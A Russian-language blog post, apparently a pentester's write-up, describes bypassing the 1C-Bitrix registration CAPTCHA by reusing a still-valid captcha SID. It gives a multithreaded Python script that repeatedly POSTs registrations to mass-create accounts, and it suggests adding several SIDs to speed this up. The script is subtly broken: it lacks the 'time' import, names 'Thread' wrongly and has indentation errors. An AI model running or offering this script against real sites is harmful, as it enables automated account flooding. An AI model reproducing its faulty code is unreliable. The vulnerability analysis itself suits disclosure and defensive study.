Эта статья носит информационный характер. Мы призываем не к совершению противоправных действий, а к легальному поиску уязвимостей в информационных системах. Обращаем внимание на необходимость во всех случаях соблюдать действующее законодательство и правила соответствующей программы по поиску уязвимостей. Неправомерный доступ к компьютерной информации влечет за собой юридическую ответственность.

Мы не ругаем 1С-Битрикс, а показываем как ловить разработчиков на ошибке.

Еще давно, у меня был проект по анализу защищенности - веб приложение на 1С-Битрикс.
В ходе поиска уязвимостей мне попалась капча в стандартной форме регистрации 1С-Битрикс, капча генерировалось вроде бы стандартно, но я решил её поисследовать и заметил один нюанс.

Как устроена CAPTCHA в 1C-Bitrix

  • Captcha.php - данный файл отвечает за генерацию SID капчи, обращением к функции GetSID()

  • SID - это что-то наподобие secure id, который нужен для того, чтобы значение капчи в виде слова(fW0j) лежало в html форме не в открытом виде, а в виде SID(0f7e32b13881c476d4d1f7be9796ed42), это нужно чтобы не так легко ее можно было обойти

  • Генерация - после того, как открываешь форму она генерируется, идет GET запрос на captcha.php и получаешь значение в виде картинки и sid значения.

В результате капча в html выглядит так:

После того, как все сгенерировано капча становиться URL-адресом, который выглядит следующем образом

CAPTCHA в URL

Если перейти по этому URL адресу, нас будет ждать картинка капчи, которая подгружается в различные формы.

Картинка капчи

Обход CAPTCHA

После того, как обновить страницу, обновится и сама капча вместе с её SID.
Но была одна странность в том проекте, старый SID капчи, после обновления страницы был в сохранности порядка 4-х часов и я решил проверить, а не сгенерируется ли опять эта самая капча с её SID, раз она в сохранности около 4-х часов и это сработало.


Мой коллега помог написать скрипт для GET запроса напрямую к captcha.php, за что спасибо, но такой метод не сработал.

Тогда я попробовал сделать скрипт с POST запросом через форму регистрации и получил положительный результат.

  • Отправляем POST запрос на регистрацию нового юзера через python

  • Отправляем его до тех пор, пока не попадется старый sid

  • Если попался старый сид, то зарегистрируется новый юзер и скрипт выведет "ok"

import sys
import requests
import threading
 
requests.packages.urllib3.disable_warnings()
THREAD_COUNT = 10
 
def bypass():
	sid = 'вставляем_недавно_сгенерированный_SID'	
 	url = "Сайт"
 
 	data = {
		'AUTH_FORM':'Y',
		'TYPE': 'REGISTRATION' ,
		'USER_NAME': 'klek',
		'USER_LAST_NAME': 'klek',
		'USER LOGIN': 'asdasdasd',
		'USER PASSWORD': '123123123',
		'USER_CONFIRM PASSWORD': '123123123',
		'USER EMAIL': 'testtest@test.com',
		'captcha_sid': sid,
		'captcha_word': 'Значение капчи',
		'USER_AGREEMENT': 'Y',
		'Register': 'sdfssdsddfdsf'
	}
 
	while True:
		req = requests.post(url, data=data)
		time.sleep(0.7)
		if "Слово для защиты от автоматической регистрации введено неверно" in req.text:
		    pass
		else:
		    print("ok")
 
if __name__ == '__main__':
  threads = []
  for i in range(THREAD_COUNT):
  t = Thread(target=bypass)
  threads.append(t)
  t.start()
 
  for t in threads:
      t.join()

Скрипт может дать ложное срабатывание, к примеру страница может начать выдавать код 500 и скрипт покажет OK, чтобы убедится что ложного срабатывание не произошло, достаточно проверить создалась ли учетная запись.

Импакт от этого - переполнение базы данных путем создания различных юзеров.

Также можно применять и на других формах при условии если SID живет много часов.
Также можно сгенерировать к примеру 10 сидов и добавить в скрипт, это ускорит обход капчи.